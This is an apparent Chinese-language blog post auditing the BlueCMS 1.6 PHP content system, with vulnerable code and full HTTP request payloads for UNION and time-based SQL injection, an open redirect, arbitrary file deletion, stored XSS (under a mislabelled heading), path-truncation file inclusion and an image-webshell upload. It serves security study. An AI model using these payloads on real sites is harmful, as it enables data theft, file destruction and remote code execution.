bluecms1.6 代码审计

全局分析

观察cms文件结构,大致可以看出
/admin 后台管理
/include 用于包含的文件
/templates 模板文件

index.php开始看起,首先看它包含了哪些文件

require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');

先查看common.inc.php

require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
require_once(BLUE_ROOT.'include/cache.fun.php');
require_once(BLUE_ROOT.'include/user.fun.php');
require_once(BLUE_ROOT.'include/index.fun.php');

包含了一些函数文件,后期可跟踪函数名子在这些文件中搜索

#30-36行
if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

发现在30-36行处,对全局数组POST,GET,COOKIES,REQUEST都进行了转义处理,所以只要通过这些方式输入的数据中存在单引号,双引号都会被转义。所以只要包含了这个文件,只要被单引号包裹就无法进行注入。

就这样大致浏览一下这些文件的开头部分,后面其实大多都是功能部分,我们有的其实都不用去关注,毕竟我们本来就不可能每行都去看一遍
文件有点长,但是我们无需关心,只看开头有没有可以利用的变量

漏洞分析

SQL注入漏洞

位置

/ad_js.php的第12-19行

分析

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

虽然开头就包含了/include/common.inc.php文件,但是$ad_id参数未被单引号包裹,直接拼接至语句中执行,所以此处存在sql注入

复现

payload如下:

GET /ad_js.php?ad_id=0+union+select+0,0,0,0,0,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0 HTTP/1.1
Host: cms.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=uj9t78rinbnp39rbdvaic1j9h5
Connection: close

SQL注入漏洞

位置

/comment.php第113-114行

分析

#/comment.php
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
#/include/common.fun.php
function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ //获取客户端用代理服务器访问时的真实ip 地址
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

/include/common.fun.phpgetip()函数返回存在通过头部IP字段获取的变量,跟踪该函数发现comment.php下第113行可利用getip()获取的可控变量进行sql注入

复现

这是一个INSERT INTO语句,这里采用的是通过select case when then else语句进行延时注入的方法payload如下:

POST /comment.php HTTP/1.1
Host: cms.cn
Content-Length: 23
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/comment.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7
X-Forwarded-For:1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(5) else 1 end),'1')#
Connection: close

act=send&id=1&comment=a

任意文件跳转

位置

/user.php第112行

分析

#/user.php第112行
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);
#/user.php第66行
$from = !empty($from) ? base64_decode($from) : 'user.php';

showmsg函数的作用是页面跳转,同时注意这里$from有经过base64解密,我们通过登录用户,抓取登录包,其实就可以发现$from变量,我们假设跳转到根目录下的test.php文件,将test.php进行base64编码

复现

payload如下:

POST /user.php HTTP/1.1
Host: cms.cn
Content-Length: 73
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/test.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7
Connection: close

act=do_login&user_name=test1&pwd=123456&safecode=wp5u&from=dGVzdC5waHA%3D

成功读取test.php文件

任意文件删除

位置

/user.php第616行

分析

if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
		@unlink(BLUE_ROOT.$_POST['lit_pic']);
}

存在未过滤变量$_POST['lit_pic'],导致任意文件删除漏洞

复现

在网站根目录下新建test.php,尝试删除它
payload如下:

POST /user.php HTTP/1.1
Host: cms.cn
Content-Length: 78
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/user.php?act=manage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=1
Connection: close

act=do_info_edit&post_id=1&title=1&link_man=1&link_phone=1&lit_pic=%2Ftest.php

成功删除

任意文件删除

位置

/user.php第616行

分析

 elseif($act == 'edit_user_info'){
	 $user_id = intval($_SESSION['user_id']);
	 if(empty($user_id)){
		 return false;
	 }
	$birthday = trim($_POST['birthday']);
	$sex = intval($_POST['sex']);
    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';
    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
	$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

	if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

	if(isset($_FILES['face_pic2']['error']) && $_FILES['face_pic2']['error'] == 0){
		$face_pic = $image->img_upload($_FILES['face_pic2'],'face_pic');
	}
    $face_pic = empty($face_pic) ? '' : $face_pic;

	$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," .
			" mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
	$db->query($sql);
	showmsg('更新个人资料成功', 'user.php');
 }

直接将信息更新到了数据库中,并没有通过上面那个引擎对我们的输入进行合法性检查,此问题出现在用户邮箱处和头像处

复现

payload如下:

POST /user.php HTTP/1.1
Host: cms.cn
Content-Length: 1478
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOMTrUDoEmhaL8Yps
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/user.php?act=my_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=4
Connection: close

------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="face_pic1"

1
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="birthday"

2021-01-05
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="sex"

0
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="email"

<script>alert(/xss/)</script>
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="msn"

1
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="qq"


------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="office_phone"


------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="home_phone"


------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="mobile_phone"


------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="address"


------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="act"

edit_user_info
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="submit"

ȷ���޸�
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="face_pic3"

1
------WebKitFormBoundaryOMTrUDoEmhaL8Yps--

编辑成功后跳转回用户信息界面,每次访问都会触发弹框,因为我们编辑用户邮箱为<script>alert(/xss/)</script>

任意文件包含漏洞

位置

/user.php第750行

分析

 elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('对不起,您没有选择支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下

复现

payload如下:

POST /user.php?act=pay HTTP/1.1
Host: cms.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 524

pay=../../robots.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

文件上传漏洞

位置

/admin/flash.php

分析

elseif($act == 'do_add'){
 	$image_link = !empty($_POST['image_link']) ? trim($_POST['image_link']) : '';
 	$show_order = !empty($_POST['show_order']) ? intval($_POST['showorder']) : '';
 	if(isset($_FILES['image_path']['error']) && $_FILES['image_path']['error'] == 0){
		$image_path = $image->img_upload($_FILES['image_path'],'flash');
	}
	if($image_path == ''){
		showmsg('上传图片出错', true);
	}
    $image_path = empty($image_path) ? '' : $image_path;
    if(!$db->query("INSERT INTO ".table('flash_image')." (image_id, image_path, image_link, show_order) VALUES ('', '$image_path', '$image_link', '$show_order')")){
    	showmsg('添加flash图片出错', true);
    }else{
    	showmsg('添加flash图片成功', 'flash.php', true);
    }
 }

跟踪一下img_upload函数,定位到/include/upload.class.php

private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg');
	private $extension_name_arr = array('jpg', 'gif', 'png', 'pjpeg');

function img_upload($file, $dir = '', $imgname = ''){
	...
	if(!in_array($file['type'],$this->allow_image_type)){
    		echo '<font style="color:red;">不允许的图片类型</font>';
			exit;
    }
    if(empty($imgname)){
    		$imgname = $this->create_tempname().'.'.$this->get_type($file['name']);
    }
}

function get_type($filepath){
    	$pos = strrpos($filepath,'.');
    	echo $pos;
    	if($pos !== false){
    		$extension_name = substr($filepath,$pos+1);
    	}
    	//echo $extension_name;
		if(!in_array($extension_name, $this->extension_name_arr)){
			echo '<font style="color:red;">您上传的文件不符合要求,请重试</font>';
			exit;
		}
		return $extension_name;
}

该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以能轻易上传一个图片马

复现

payload如下:

POST /admin/flash.php HTTP/1.1
Host: cms.cn
Content-Length: 498
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygYDUodHS5Kxq5RGh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/admin/flash.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=4
Connection: close

------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="image_path"; filename="info.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="image_link"


------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="show_order"

0
------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="act"

do_add
------WebKitFormBoundarygYDUodHS5Kxq5RGh--

上传成功后我们可以通过管理员界面得知上传文件所在目录为data/upload/flash/15525638906.jpg

我们再通过文件包含漏洞执行该图片马

posted @ 2021-08-10 13:21  AtSunset  阅读(131)  评论(0)    收藏  举报